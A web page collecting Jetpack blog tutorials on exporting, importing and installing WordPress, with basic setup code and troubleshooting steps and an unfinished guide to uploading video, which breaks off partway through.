EDITS.WS

Category: jetpack.com

  • How to Export and Import a WordPress Site (3 Best Methods)

    Are you looking to export a WordPress site? Perhaps you want to create a full site backup or move your content to a new server or web host. If you’re not an experienced developer, this process might seem challenging.

    Fortunately, exporting your WordPress website isn’t too complicated. Tech-savvy users can get the job done with Secure File Transfer Protocol (SFTP) and phpMyAdmin. Beginners, and really anyone looking to save time and effort, can handle the export and import process quite easily using a tool like Jetpack VaultPress Backup.

    Let’s look at why you might want to export and import a WordPress site. Then, we’ll show you three different methods you can choose between. 

    Why you might want to export a WordPress site

    There are many reasons you might consider exporting a WordPress site. For starters, it’s a great way to make a full backup of your site

    Then, you can store your backup securely in a remote location separate from the server where you host your site. Here, your backup will remain safe and intact even if the server is attacked or goes down. Plus, you won’t be using any more of your server resources. If you run into any problems with your WordPress website, you’ll be able to restore a functional version to keep things up and running.

    Additionally, you might migrate a WordPress site to a new web host. Or, you may want to move from a localhost to a live server

    It’s always a good idea to check whether your new host offers migration assistance as part of their services. That way, the host can take care of the entire process, and you can simply log in to your new site when it’s ready. Otherwise, you’ll need to perform a manual migration (we’ll explain this later in the tutorial). 

    What is the easiest way to export a WordPress site?

    In the tutorial section of this article, we’re going to discuss three ways to export a WordPress site. Firstly, you can use the built-in WordPress export tool. This approach is simple enough to use, but it doesn’t transfer theme, plugin, or database files.

    You also have the option to export your site manually using phpMyAdmin. But this is not a beginner-friendly method, requiring at least some technical knowledge.

    Overall, the easiest way to export a WordPress site is to use Jetpack VaultPress Backup. It’s a simple, fast solution developed by Automattic (the people behind WordPress.com). Since it’s built on the same infrastructure as WordPress.com, you can expect smooth, reliable performance without plugin or host conflicts.

    What to consider before exporting your site

    With any significant change to your site, there’s a slight risk involved. Preparing for the export process can minimize the chance of something going wrong and put your website in a better position to recover. 

    Here are some main factors to consider before exporting your WordPress site:

    • The type of export. Whichever method you choose, you’ll need to ensure that it enables you to export the content you need. For instance, some approaches don’t allow you to export theme files, database files, or plugins. You might also utilize this opportunity to streamline your website by reducing the number of plugins you use.
    • The time of day. It’s important to consider what time of day you’ll carry out the export. This is especially relevant for high-traffic websites since you don’t want to disrupt your visitors. Therefore, it’s a good idea to avoid peak traffic and schedule the import/export for a slow period. 
    • Conflicts. The best way to avoid conflicts during your export is to upgrade to the latest PHP version. Using a well-coded backup plugin like Jetpack to handle the export can also ensure that the software is compatible and prevent glitches.

    By following the tips above, you can give your WordPress website a better chance of a smooth, successful export.

    How to export and import your WordPress site (3 best methods)

    Now let’s discuss three different ways to export a WordPress site. We’ll start with the simplest solution and end with the method that requires the most technical experience.

    1. Use a tool like Jetpack VaultPress Backup

    Jetpack VaultPress Backup takes the hassle out of migrations. As a tried-and-tested solution, it offers easy restores, remote storage, and stellar support.

    Jetpack VaultPress Backup homepage

    Better yet, backups can include website files, database tables, and customer and order data. This makes it an excellent choice for many types of sites, particularly ecommerce stores.

    To get started, you’ll need to install and activate the Jetpack plugin in WordPress. Navigate to Plugins → Add New and then search for “Jetpack.”

    Jetpack plugin listed in the WordPress dashboard

    This free version of Jetpack provides a number of security and optimization features. Hit Install → Activate. Then, you’ll need to approve the connection to your WordPress site. You can use an existing WordPress.com account or create one once the plugin is active.

    To get Jetpack VaultPress Backup, you’ll need to upgrade to the Jetpack plan that best suits your needs. For instance, you might opt for Jetpack Security or Jetpack Complete, which give you access to a variety of performance and security tools. But, for exporting a WordPress site, you’ll only need the VaultPress Backup plan. 

    Once you’ve found a plan and activated VaultPress Backup, head to Settings → General in your WordPress.com account. Here, scroll down to the bottom of the page and select Clone.

    option to clone your WordPress site

    Check that all your website details are correct. If so, hit Continue

    confirming the WordPress clone settings

    Enter your new destination site title and URL. This is the place you’re moving your site

    setting the destination site URL

    Next, enter your new server credentials. These include your username, password, and port.

    entering server credentials

    You can often find these server credentials yourself by logging into your hosting provider’s control panel. If you’re unsure about what these are, you can check with your web host. We’ve created a pre-written email that you can share with your host to make this easier.

    Now, enter the destination WordPress path. This is where your site files will be stored. Generally, it will look something like public_html. Again, if you’re unsure, check with your new web host.

    Then, hit Save.

    To use your most recent backup, select Clone current state, or you can use an earlier backup if you wish. When you’re ready to begin the cloning process, click on Yep! Begin Cloning. Once the process is finished, you’ll see a confirmation message.

    successful clone message

    Before pointing your domain name to your new host, you’ll need to verify that the content loads correctly and that all functionality works as it should. Otherwise, you risk losing traffic and/or sales if your site is glitchy or doesn’t load.

    To do this, you’ll need to change your hosts file. This exact process will vary based on your operating system, but it will enable you to test out functionality and design elements before pointing your domain name.

    If everything looks as it should, you can go ahead and update your DNS settings!

    2. Use the built-in WordPress export tool

    This method doesn’t require adding any new tool or plugin to your WordPress dashboard. Unfortunately, it doesn’t export theme files, plugins, or database tables. Therefore, it’s only viable if you want to move content to a different WordPress site, or back up your posts and pages. 

    To begin, navigate to your WordPress admin area. Once here, select Tools → Export. You’ll be taken to a new screen that looks like this.

    choosing the elements to export in WordPress

    Select All content to export your entire website. Or, you can choose specific types of content, like pages, posts, comments, or menus. 

    Then, hit Download Export File to download the file to your computer. This creates a copy of your site without affecting your existing website. 

    Next, switch to the WordPress site where you want to import your file. Log in to your new dashboard and go to Tools → Import.

    import options in WordPress

    If your exported file comes from WordPress, head down to the bottom of the page to find the relevant section. You’ll notice that you can also import files from other platforms like LiveJournal, Tumblr, and WooCommerce. 

    Once you’re here, click on Install Now and then Run Importer.

    option to run WordPress Importer

    This will take you to a new page where you can upload your exported file.

    settings for importing into WordPress

    Choose the file from your computer and hit Upload file and import to start the import process. This should take just a few minutes. 

    3. Use phpMyAdmin and SFTP to export your site manually 

    This is the most difficult of the three methods. Therefore, it’s only recommended for experienced WordPress users. You might use this method if you don’t have access to WordPress, in special circumstances like having files stored outside the standard WordPress installation, or if you encounter an unexpected issue with another method.

    Note: If you have the Jetpack plugin installed on your site, you’ll want to either disconnect Jetpack from your current WordPress installation or exclude the Jetpack plugin files when migrating. Otherwise, you might end up with an Identity Crisis. If you choose the second option, you’ll just want to reinstall and reconnect Jetpack in your WordPress dashboard after the migration.

    To start, you’ll need to connect to your existing hosting account using an SFTP client like FileZilla

    You’ll need your SFTP credentials like your host, username, password, and port. You should be able to find these details in your hosting account.

    Once you’ve connected to your site with SFTP, locate the root folder of your website. Typically, this is labeled public_html, although sometimes, it may be named after your site’s domain.

    viewing the public_html folder in an FTP client

    Drag the files in this folder from the right panel (your server) to a selected folder in the left panel (your computer). This will download all the files to your device, and could take a little while if your website contains a lot of data.

    At this point, log in to your hosting provider’s control panel and access phpMyAdmin. The interface will look different depending on your web host, but it’s typically found under Databases.

    opening phpMyAdmin from a hosting account

    Next, click on Export to download a file to your computer. You’ll also need to choose SQL as the format.

    Then, head back to FileZilla and connect to your new server using your new SFTP credentials. Again, you can get these from your host if you’re not sure where to find them. 

    This time, you’ll drag the files from your computer (left panel) to the new server (right panel). Wait for the file migration process to finish.

    You’ll now need to create a new, blank database. This process can vary a bit depending on your hosting provider, but you’ll need to establish a database name, username, and password. Make sure to save this information, as you’ll need it in a minute.

    Navigate to your database in phpMyAdmin, click on the Import tab, then upload the SQL file you downloaded earlier.

    importing a database file

    Click the Go button. Now, all you need to do is tell your migrated WordPress site how to access the new database. You’ll do this through the wp-config.php file.

    Navigate to this file using your hosting control panel or via FTP, then look for the following lines of code:

    /** The name of the database for WordPress */
    
    define( 'DB_NAME', 'sample1234' );
    
    /** Database username */
    
    define( 'DB_USER', 'user1234' );
    
    /** Database password */
    
    define( 'DB_PASSWORD', 'password1234' );

    Change the information for DB_Name, DB_User, and DB_Password based on the data you saved earlier, then save the file. 

    Finally, point your nameservers to your new hosting provider. And you’re done!!

    Frequently asked questions

    By now, you should hopefully have a good understanding of the WordPress export and import process. If you have any remaining questions, we’ll tackle them here!

    Is a WordPress export necessary when changing domains?

    No, you won’t typically need to export your WordPress site when switching domain names. You’ll only need to do this if moving to a different host or server.

    Are there any extra steps when exporting a WooCommerce site?

    Generally, no. If you export your site using Jetpack VaultPress Backup or FTP, all the WooCommerce information will be included. You can follow the steps above as written.

    However, if you’re using the WordPress built-in tool, you’ll see some additional options to manually export products, variations, orders, refunds, and coupons.

    extra export options for WooCommerce

    Export your WordPress site quickly and easily

    Exporting your WordPress site is helpful if you want to move it to a new server or web host. It’s also beneficial if you need to back up your files. Although this process may seem intimidating, it’s much easier when you use a plugin to take care of the process.

    To recap, here are three methods to export and import a WordPress site:

    1. Use a tool like Jetpack VaultPress Backup.
    2. Use the built-in WordPress export tool.
    3. Use phpMyAdmin and SFTP to export your site manually.

    Jetpack VaultPress Backup will create real-time backups of your website and enable you to easily restore them. Better yet, you can back up all your site files, including customer data and database files. Get started with Jetpack today!

  • How to Install WordPress the Right Way: 4 Methods Explained

    WordPress is the most popular Content Management System (CMS), used by more than 40 percent of all known websites. If you’re interested in its user-friendly interface, open-source philosophy, and extensive customization options, you might be considering installing and using WordPress for your new website. 

    There are a few different ways to install WordPress. These methods range from choosing a hosting provider that will handle the process for you, to manually installing the software and configuring it yourself. 

    In this article, we’ll explain how to install WordPress in four different ways. We’ll also answer some frequently asked questions you might have about the installation process. Let’s get started!

    Why should you consider installing WordPress?

    As we mentioned before, WordPress is the most popular CMS available. There are a few reasons for its popularity. Some of these include:

    • User-friendliness: WordPress is pretty easy to learn and use. You’ll manage everything from a centralized dashboard, and you can use the intuitive block editor to build all of your pages. Moreover, you won’t need to touch a single line of code (unless you want to). 
    • Customization options: WordPress is built using open-source software. That means you’re free to customize your site as you see fit. Plus, you’ll have access to plenty of free and paid plugins and themes to further extend your website and adjust its appearance. 
    • Support: WordPress has an active community of users who provide support in official forums and tutorials (like this one!), along with developer-specific assistance for themes and plugins. Additionally, many hosting providers offer WordPress expertise and help for your individual needs. 
    • Affordability: The WordPress core software is completely free, meaning you’ll only need to spend money on hosting, a domain, and any premium plugins or themes you’d like for your site. 

    WordPress is such a diverse CMS that you can use it for all kinds of websites, from simple blogs to enterprise business sites. It also makes it easy to monetize your content, including creating an ecommerce store, membership website, online courses, and more.

    What are the requirements to install WordPress?

    Firstly, you’ll need a server to install and run WordPress. In most cases, it makes sense to partner with a hosting provider that will supply server space and other resources to put your site online. Alternatively, you could opt for hosted WordPress (WordPress.com), which we’ll explore later in this post. 

    You will also need a domain name for your WordPress website. Typically, your hosting provider (or WordPress.com) can help you purchase a domain

    Before installing WordPress, you’ll need to make sure that your server (or hosting provider’s server) supports the software. Otherwise, the CMS may not run as it should.

    These are the official requirements for running WordPress:

    • PHP 7.4 or higher. PHP is the programming language that WordPress is built on. It also requires frequent updates and security patches to run smoothly, which is why you should consider opting for the latest version of PHP
    • MySQL 5.7 or higher (alternatively, you can use MariaDB 10.3 or higher). This database management system processes all the data contained within your WordPress installation. 
    • Support for HTTPS. This secure data transfer protocol ensures data protection between browsers and your WordPress website. 

    You’ll also want to ensure your chosen server provides the following resources, at a minimum:

    • 1 GB disk space
    • 512 MB RAM
    • 1.0 GHz CPU

    In most cases, an Apache or Nginx server will be your best bet for running WordPress. Still, you can theoretically use any server software as long as it supports both PHP and MySQL. 

    How to install WordPress

    There are a few different ways to install WordPress. The best choice will depend on your experience level and chosen hosting solution. Let’s start by exploring the manual installation approach. 

    Method 1: Install WordPress manually

    The WordPress manual install method is the most time-intensive one. The upside is that you can control everything during the process. 

    Keep in mind that you’ll need a File Transfer Protocol (FTP) client to follow this part of the tutorial. If you don’t yet have one installed on your computer, FileZilla is a straightforward (and free!) option you might consider using. 

    Before you get started, you’ll also need to know your web server’s FTP credentials. If you can’t find these details within your hosting dashboard, it’s worth reaching out directly to your hosting provider or consulting its official documentation. 

    Step 1: Download and extract the WordPress package

    The first step in this WordPress manual install tutorial is downloading the WordPress package. This is a collection of the core files that make up a WordPress installation.

    To begin, head to the WordPress download page, and click on the Download button beneath the Download and install it yourself heading. By default, WordPress will provide the latest version of its core software here:

    downloading WordPress from the WordPress.org website

    This should start downloading WordPress as a .zip file onto your computer. Once that’s done, extract the files before moving on to the next step.

    Step 2: Create a database and a user

    If you’ve signed up for a WordPress hosting provider, you may already have a database associated with your website. So, start by opening your hosting control panel to see if a database is available. If you’re not sure how to access your control panel, you can reach out to your web host for instructions.

    Once you’ve logged into your control panel, scroll down to Databases and click on MySQL Databases.

    MySQL Databases option in cpanel

    Now type a name for your database into the box provided and hit Create Database.

    You also need to make a user account for your WordPress database. Scroll down to Add New User and enter a username and password. You can also use the password generator to create secure credentials.

    creating a new database user

    Hit Create User when you’re ready. This will create a new user profile for your database, but the user won’t automatically have access to the database and associated permissions. You’ll need to set this up manually.

    To do this, navigate to Add User To Database and select both the new database you created and the user profile from the dropdown menus.

    adding a user to your database

    Once you’ve made your selections, click on the Add button. You’ll now be prompted to choose privileges for this user role. Enable all of them and hit Make Changes to apply your settings. 

    You should now be able to see the MySQL database name and password. Make a note of these details because you’ll need them later in the tutorial. 

    Step 3: Edit the wp-config.php file

    The wp-config.php file contains all the essential configuration settings for your WordPress website. These include your database name, username, password, and host.

    By default, there is a wp-config-sample.php file in the WordPress package you downloaded earlier, but it doesn’t contain the specific database details for your site. So, we recommend renaming it to “wp-config.php” and updating its content. 

    Open the file in a text editor and update the following values with the details from your new WordPress database:

    • DB_NAME: The database name. 
    • DB_USER: The database username.
    • DB_PASSWORD: The database password. 
    • DB_HOST: The database hostname (this is typically “localhost”).

    It’s also worth adding new secret keys and salts to this file. These encryption tools make it harder for hackers to decode your login information and potentially break into your site. You can generate them using the WordPress Security Key Generator. Simply replace any existing values within your wp-config.php file. 

    Make sure to save all changes when you’re done. Note that if you don’t follow this step, WordPress will attempt to create its own wp-config.php file during installation. But you’ll still need to supply your database details, so it could be worth doing this from the outset. 

    Step 4: Upload the files to your website directory or subdirectory

    Now, it’s time to add the WordPress package files to your website. You’ll be using the FTP client for this part of the tutorial, so make sure you’ve opened it and connected to your database using your FTP credentials.

    You have two options here:

    • Upload the files to your directory. This will install WordPress on your main domain (e.g., http://www.examplesite.com). In this case, you will need to add the files to your root directory, which is usually called /public_html/
    • Upload the files to a subdirectory. This option will install WordPress in a subfolder (e.g., http://www.examplesite.com/blog/). In this scenario, add the files to your subdirectory folder. 

    Simply add the files to your chosen folder and wait for the process to finish. Then it’s time to move on to the final step!

    Step 5: Run the WordPress install script

    Finally, you’ll need to run the WordPress install script to finish the entire process. If you uploaded the files to your root directory in the previous step, type this address into your browser, replacing the example with your domain name: “http://examplesite.com/wp-admin/install.php”. 

    Alternatively, if the files are in a subdirectory, substitute your domain name and folder within this address: “http://examplesite.com/blog/wp-admin/install.php”. 

    If you didn’t update the wp.config.php file in step three, you should now see a welcome screen asking you for your database details. Click on Let’s go, and enter the information into the following form:

    entering WordPress database details

    Select Submit, and you should see a welcome screen where you can add your WordPress website’s title, username, password, and email address. You’ll use these details to log in to your admin dashboard.

    setting up WordPress login details

    You can also discourage search engines from indexing your site. People may not be able to find your content online if you choose this option.

    Finally, click on Install WordPress and wait for the process to finish. You should see the admin login form to access your website if you’ve completed the installation correctly. 

    Method 2: Install WordPress in cPanel

    Many hosting providers use cPanel for their hosting dashboards. This tool can manage your website’s database, site files, associated email accounts, and more. Additionally, some hosting providers include WordPress installers within their cPanels. 

    Softaculous is auto-installer software that you can use to launch different applications, including WordPress, cPanel, and DirectAdmin. It has a user-friendly and straightforward interface that walks you through the installation process in just a few steps.

    You can find the Softaculous installer in cPanel by navigating to Software or Auto Installers. The name of this section may be slightly different, depending on your hosting provider. Then, select WordPress Manager by Softaculous.

    WordPress Manager option in cpanel

    Now select Install from the top menu.

    Install option for WordPress

    Under Software Setup, you’ll need to enter your website’s URL, subdirectory (if applicable), and the version of WordPress you’d like to install.

    setting WordPress configuration details

    Under Site Settings, enter your website’s name and description. You can also enable WordPress multisite or disable WordPress Cron. Then, add your admin username, password, and email address under Admin Account.

    creating admin user details

    Now, choose the language for your WordPress website and select any plugins you’d like to install automatically.

    choosing installed plugins and WordPress language

    Finally, under Advanced Options, you can change the name of your database, select a backup location, and enable or disable auto upgrade.

    advanced WordPress installation options

    When you’re happy with your selections, click on Install at the bottom of the page. Softaculous will now take a few minutes to set up your WordPress installation. You should see a success message when it’s done, along with links to log in to your new WordPress site!

    Method 3: Build your site on WordPress.com

    WordPress.com is the hosted version of WordPress. Essentially, with this option, you’ll have access to a very similar dashboard and interface as WordPress.org, but you won’t need to find third-party hosting. A lot of the “heavy lifting” is taken care of for you, automatically. There are several plans you can choose from, which include various features.

    Step 1: Choose a domain name

    The first step is to choose a domain name. To begin, navigate to the WordPress.com homepage and click on Get Started.

    Get Started button on WordPress.com

    You’ll now be prompted to create a new WordPress.com account or log in with an existing one.

    creating a WordPress.com account

    You’ll need to enter the email address, username, and password you’d like to associate with this account. Then, hit Create your account

    WordPress.com will now ask you to choose a domain name for your new website. Start by typing some keywords into the box, and you should see a variety of paid and free options.

    selecting a domain name

    Since you receive a free domain name for a year with any paid plan, you might see Free for the first year next to some options. Remember that you’ll have to start paying an annual fee once the first year has expired, though. 

    You should also see a completely free option with a WordPress.com URL extension. Keep in mind that if you opt for a free plan, this extension will be your only choice. 

    When choosing a domain name, it’s worth spending some time making the decision. After all, it will tell visitors about your site’s content and influence your branding. It’s recommended to choose a domain name that is short, descriptive, memorable, and easy to spell so that users can find your content more easily. 

    Step 2: Choose a WordPress.com plan

    You’ll now be asked to choose a WordPress.com plan.

    choosing a WordPress.com plan

    WordPress.com enables you to create a free website or opt for one of the paid plans. With a paid subscription, you’ll get access to features like a free domain for one year, support for plugins, Search Engine Optimization (SEO) tools, ecommerce features, and more.

    Hit Select under the plan you’d like to use, or click on start with a free site at the top of the page. WordPress.com will then take a couple of seconds to process your request. 

    Step 3: Add information about your site

    Now, you can enter some goals for your website, like selling products online, publishing content, or promoting your business. Checking boxes next to any applicable goals will help WordPress.com personalize the setup process for your site.

    questions about website goals

    Hit Continue to go to the next screen. Then, choose a category for your WordPress site by typing in the box or opening the dropdown menu.

    list of website topics and industries

    Next up, it’s time to name your website and give it a tagline. The text you enter here will appear at the top of your site as a header. Keep in mind that you can change it later.

    deciding on a blog title and tagline

    Click on Continue when you’re finished. You should now see a screen directing you to write your first blog post, watch videos about blogging, and choose a design for your website.

    next step options in WordPress

    You may want to explore one of these choices. Otherwise, hit Skip to dashboard to go to your WordPress.com dashboard. Now it’s just a matter of learning the interface, creating content, and designing your dream website!

    Method 4: Choose a host with WordPress pre-installed

    This method is by far the easiest one. If you choose a hosting provider with WordPress pre-installed, you can have your new site up and running in just minutes.

    For instance, the WordPress installation process is very straightforward with Bluehost. Once you’ve signed up for a hosting plan and chosen your domain name, click on My Sites → Add site → Create New Site.

    option to create a new site with Bluehost

    You’ll be prompted to enter a name and tagline for your WordPress website,

    adding a site name and tagline

    When you’re ready, hit Next. Now, choose your domain from the dropdown menu and enter your subdirectory (if relevant). You can also opt to auto-install a few handy plugins like WP Forms or Monster Insights.

    choosing a domain name and plugins to install

    Finally, click on Next. Bluehost will now install WordPress and show you a success message when the process is complete.

    You can access your new WordPress installation by heading to My Sites → Manage site. Now, simply click on Log into WordPress, and you’ll be taken to the login form.

    option to log in to WordPress with Bluehost

    It’s that easy! The process may differ slightly if you’re using one of the other recommended WordPress hosts, but should still be very straightforward. 

    Common WordPress installation problems

    Occasionally, things can go wrong during the WordPress installation process. Here are some problems you might encounter and how to fix them!

    You can see a directory listing instead of your website

    If you can see a directory listing instead of your WordPress website, you’ll need to add a directive to your web server. This will tell it to view index.php and, consequently, display your site.

    You can do this with Apache servers by creating a file named .htaccess and then adding the following directive:

    DirectoryIndex index.php

    Make sure to save your changes and reupload this file via FTP. You can also add the directive to your web server’s configuration file.

    There are “Headers already sent” errors

    If you incorrectly edited the wp-config.php file when installing WordPress, you might see “Headers already sent” errors. These messages indicate you made some syntax errors within the file.

    In this case, open up the wp-config.php file with your text editor and check for the following mistakes:

    • Text or whitespace before the opening <?php
    • Text or whitespace after the closing ?>
    • Byte order marks (BOM)

    Additionally, both <?php and ?> should be alone on their respective first and final lines, with no other content. Make sure to save any changes within the file, re-upload it to WordPress, and refresh the browser to see if the issue has been fixed. 

    The page contains a lot of “<?php ?>” tags

    When you complete the WordPress installation process, you should see the login form for the dashboard. But, in some cases, you might see a page that looks like gibberish with multiple <?php ?> tags. 

    This indicates that PHP is not running correctly on your server. In a nutshell, it’s not executing before sending the HTML file to the browser.

    In this scenario, your server may not be capable of running PHP. Alternatively, it may be incorrectly installed or misconfigured. You’ll need to reach out to your hosting provider and ask for assistance. 

    You can see an “Error connecting to database” message

    If you keep seeing an “Error connecting to database” message, your database credentials don’t match those needed to log in. If you’ve verified that the username is correct, it could be worth changing your MySQL database password.

    Open up phpMyAdmin in your hosting dashboard. Then, open your database, and navigate to SQL.

    SQL option in phpMyAdmin

    Now, type in the following command as a SQL query:

    SET PASSWORD FOR 'wordpressusername'@'hostname' = OLD_PASSWORD('password');

    Make sure to switch out the generic names with the ones that correspond to your database. Then click on Go in the bottom-right corner of the user interface. 

    Alternatively, you can change your password manually if you prefer not to use a command. In cPanel, open MySQL Databases and scroll down to Current Users.

    list of current users

    Select Change Password and enter or generate a new value. Make sure to copy the new password because you’ll need to update the value in your wp-config.php file.

    Then, open wp-config.php and replace the value under DB_PASSWORD with the new password. Remember to save and re-upload it via FTP, and check to see if you can now access the WordPress admin area. 

    There is a “Your PHP installation appears to be missing the MySQL extension which is required by WordPress” message 

    If you can see “Your PHP installation appears to be missing the MySQL extension which is required by WordPress,” there is a problem with the MySQL plugin. 

    In this case, you’ll need to verify that MySQL is installed and configured correctly on your web server. In most cases, it’s worth reaching out to your hosting provider for technical support. We also created a guide on how to fix this PHP missing MYSQL extension error

    You see a 403 error

    At the end of the WordPress installation process, you might see a message similar to this one:

    You are not authorized to view this page. You might not have permission to view this directory or page using the credentials you supplied. If you believe you should be able to view this directory or page, please try to contact the website by using any e-mail address or phone number that may be listed on the examplewebsite.com home page. You can click Search to look for information on the Internet. HTTP Error 403 – Forbidden

    The 403 error is most common with Apache servers. It can indicate that you don’t have sufficient permissions to execute this request on your server. Alternatively, Apache may be unable to access WordPress files.

    In this scenario, it’s best to contact your host. Unless you have root access to your server, you may not be able to fix this problem on your own.

    Frequently asked questions

    As we’ve seen in this tutorial, installing WordPress is relatively easy. If you have any questions left about the process, we’ll answer them here!

    Is WordPress free to download and install?

    Yes, WordPress is completely free to download and install! Still, you will need to pay for a hosting provider and domain name to put your website online. 

    Alternatively, you can create a WordPress.com site. With this platform, you can launch and maintain a basic website completely free. There are also plenty of paid plans available when you’re ready to upgrade for more advanced features. 

    Is PHP required for WordPress?

    WordPress is written using the PHP (Hypertext Preprocessor) programming language. Therefore, you cannot install and run the CMS without PHP. Fortunately, many servers and hosting providers are compatible with PHP, enabling you to set up a WordPress installation in no time.

    Can I install WordPress on an existing database?

    Yes, you can install WordPress using an existing database. You’ll just need to import a database backup in place of your ‘new database’ during the installation process. You will also need access to the old database’s credentials.

    Can I install WordPress locally on my computer?

    Yes, you can install WordPress locally on your computer. This setup will store all the website’s files on your device instead of an online database.

    With a local installation, you’ll have a development environment entirely powered by your computer. You won’t need access to the internet or hosting provider, enabling you to develop and perfect your site on a localhost before moving it to a live server.

    There are multiple local server environments available for WordPress development. Some popular options include WAMP and MAMP

    Can I install WordPress on an Ubuntu server?

    You can install WordPress on an Ubuntu server (and many other operating systems). Fortunately, the process is also pretty straightforward, with automated scripts to speed things up.

    Additionally, some hosting providers provide one-click WordPress installs for Ubuntu systems. For more information, check out the complete guide to installing WordPress on Ubuntu.

    What should I do after installing WordPress?

    Once you’ve installed WordPress, it’s time to build your website! You’ll first need to log in to your site’s admin dashboard. Then, spend time familiarizing yourself with the interface and learning where all the different settings are located.

    After that, you can start personalizing your site’s design and functionality. Your website will be set up with a default WordPress theme, but you’re free to change this. The WordPress Theme Repository is a great place to browse free themes for all kinds of websites, from online stores to personal blogs.

    WordPress theme respository

    You might also want to install a few WordPress plugins. These add-ons can bring new features to your site, including performance enhancements, extra security, design tools, and more. You can check out a list of must-have WordPress plugins to find the best tools for your website. 

    Once you have a handle on how to use WordPress, you can start creating and editing your site’s pages. Consider adding a homepage, contact form or page, blog, About page, and online store if you’re planning to sell products online. Then, it’s just a matter of writing content, adding images, and sharing your website with the world!

    Start using WordPress today

    WordPress is the most popular Content Management System (CMS), and for good reason. It lets you create and manage a personalized blog or website from a user-friendly dashboard. What’s more, it’s relatively easy to install WordPress.

    You can install WordPress manually using File Transfer Protocol (FTP). Alternatively, your hosting dashboard may provide a one-click install option or access to installation tools like Softaculous. Finally, WordPress.com is an option that simplifies the installation and website management process. 

    Once your WordPress website is up and running, you’ll want to ensure it’s functioning at its full potential. With the Jetpack suite of tools, you can boost your site’s performance, protect it against security threats, back up your content, and more. 

  • How to Upload a Video to WordPress & Add it to a Page or Post

    There are many reasons you may want to upload a video in WordPress. Whether you’re a professional videographer or a food blogger with an amateur cooking show, you’ll need a simple way to post audiovisual content on your site. 

    There are a couple of different ways you can add a video to a WordPress page or post. You could embed one from a video hosting service like Jetpack VideoPress or upload and add it directly from your site’s hosting server. Each method has its pros and cons, which we’ll cover in more detail in our tutorial. 

    In this post, we’ll go over the various ways you can upload a video to your WordPress Media Library. Then we’ll walk you through adding a video to a post or page. Finally, we’ll discuss some frequently asked questions related to videos on WordPress. 

    Adding videos to WordPress: The basics

    Before you learn how to add videos to WordPress, it’s helpful to have a basic understanding of what that process means. First off, there’s an important distinction between ‘uploading’ and ‘embedding’ a video into your WordPress site.

    When you add a video directly to WordPress, the video file will be stored on your host’s server. This is called uploading.

    option to upload a video in WordPress

    When you add a video to a post or page in WordPress using a third-party site like YouTube or a video hosting platform like Jetpack VideoPress, this is called embedding.

    trailer for a movie embedded on The Walt Disney Company website

    As you can see in the example above, when you embed a video, you’ll likely get advanced player features. These will be unique to each platform. Sometimes, they’ll include built-in social sharing options to enhance audience engagement.

    Additionally, when you use a third-party host, the video doesn’t actually ‘live’ on your website’s server. Therefore, it won’t have a significant impact on your page loading times. 

    Why should I add a video to WordPress?

    Before we continue, it’s worth discussing some of the many benefits of learning how to upload videos to WordPress. For starters, visual media is on the rise in nearly every virtual space, from ecommerce to social media. As a result, online users have come to expect more video content.

    No matter what type of site you run, videos can help engage your audience and keep them on your site longer. Often, videos are useful to explain complicated concepts or humanize a company or subject. Using videos can also help you meet a wide array of audience preferences and learning styles.

    Tons of creative websites incorporate high-quality video content into their posts and pages. From product videos and promotional content to independent films and lifestyle reels, there are video opportunities for any type of site.

    Can uploading a video slow down your WordPress site?

    When you upload a video directly to your Media Library, it’s saved on the back end of your site and, thus, takes up space on your server. And video files aren’t usually small — adding even just the occasional video can weigh things down and negatively impact performance. 

    This means slower loading times and worse Core Web Vitals scores. This could not only cause your search engine rankings to suffer, but result in frustration for both new and regular site visitors. In other words, if performance tanks as a result of adding a bunch of videos, it could counteract the benefits the videos were supposed to bring in the first place. 

    Luckily, you can avoid all of these adverse effects by simply using a third-party video hosting provider to upload your videos. This way, the clips will use external server resources while still looking great on the front end.

    In this tutorial, we’ll show you how to use various upload methods, so you can ultimately decide which approach is best for your needs.

    How to upload a video to the WordPress Media Library

    Now that you know the basics of adding videos to WordPress, we’re going to go over three methods of doing so.

    Method 1: Using the video hosting plugin Jetpack VideoPress

    With WordPress, the simplest way to upload a video is using a plugin. A video hosting plugin can function similarly to popular options like YouTube and Vimeo.

    But, unlike the alternatives, Jetpack VideoPress is designed specifically for WordPress.

    VideoPress homepage with the tagline, "The finest video for WordPress"

    Using Jetpack VideoPress is highly straightforward because it fully integrates with your WordPress dashboard. It’s also affordable, offering your first video for free and a generous 50 percent discount for your first year.

    Plus, you’ll never have to worry about advertisements interrupting your videos. You’ll even be able to apply your branding to your video player.

    To get started, navigate to your WordPress dashboard. Go to Plugins → Add New. Use the search function to find the Jetpack VideoPress plugin.

    installing Jetpack VideoPress

    After you’ve installed and activated Jetpack VideoPress, you should see the following screen:

    Jetpack VideoPress plan options

    If you like, you can sign up for the premium version of Jetpack VideoPress here. Otherwise, click on Start for free to explore the tool before making a decision.

    After that, you’ll be prompted to connect Jetpack to your site. Click on Approve.

    completing Jetpack setup

    Keep in mind that you won’t need to complete this step if you’ve already connected your website to Jetpack for one of its other tools.

    The connection process should take a few seconds. Then, you’ll be able to add your first video to WordPress.

    option to add your first video

    On the above page, you can either select Add your first video or Select file to upload. Alternatively, simply drag and drop a video onto the page.

    viewing the VideoPress library

    The video will now be added to your Jetpack VideoPress library and your WordPress Media Library. That’s it! Later on, we’ll show you how to insert this video into your posts and pages.

    Method 2: Using your site’s hosting server (not recommended)

    The next way to upload a video in WordPress is by using your site’s hosting server. This method is not recommended because it can slow down your website by consuming a substantial amount of precious server resources. Depending on your hosting provider, they may also have limits on the maximum file size you can upload.

    It’s also not usually the best choice because your playback speed won’t be optimal, and the player will have limited features. In any case, knowing how to carry out this approach can still be useful for certain situations.

    To begin, simply head to your WordPress dashboard. Go to Media → Add New. Then go ahead and drag your video file into the box or click on Select Files.

    uploading new media file to WordPress

    Once the video has finished uploading, your screen will update automatically. It should now have a banner below the Upload New Media section showing your video’s thumbnail.

    media file listed under "upload new media"

    To confirm that your video was uploaded correctly, navigate to Media → Library.

    media library with photos and videos

    You should be able to see your video’s thumbnail in the upper left corner of the screen. 

    At this point, you might notice that your video is mixed with all of your images and other media files. That’s because there isn’t a separation of videos and photos in the WordPress Media Library. 

    Method 3: Using an external hosting server

    The final way you can add a video to WordPress is by using an external hosting server like Amazon S3. While this platform offers the power and security needed for large sites, it’s a fairly complicated and expensive option. 

    To use Amazon S3, you must set up and manage your own server — requiring a good degree of development experience or the help of a professional. Furthermore, AWS S3 isn’t natively designed to integrate with WordPress and doesn’t come with a video player feature.

